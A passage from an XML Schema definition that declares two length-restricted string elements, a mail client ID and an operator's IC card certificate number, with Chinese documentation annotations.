</xs:simpleType>
</xs:element>
<xs:element name="HostId">
<xs:annotation>
<xs:documentation>邮箱客户端ID</xs:documentation>
</xs:annotation>
<xs:simpleType>
<xs:restriction base="xs:string">
<xs:maxLength value="18"/>
<xs:minLength value="1"/>
</xs:restriction>
</xs:simpleType>
</xs:element>
<xs:element name="CertNo">
<xs:annotation>
<xs:documentation>当前操作员ic卡证书号</xs:documentation>
</xs:annotation>
<xs:simpleType>
<xs:restriction base="xs:string">
<xs:maxLength value="20"/>
<xs:minLength value="1"/>
</xs:restriction>
</xs:simpleType>
</xs:element>
</xs:sequence>
</xs:complexType>
</xs:element>
</xs:sequence>
</xs:complexType>
</xs:element>
</xs:schema>
... ...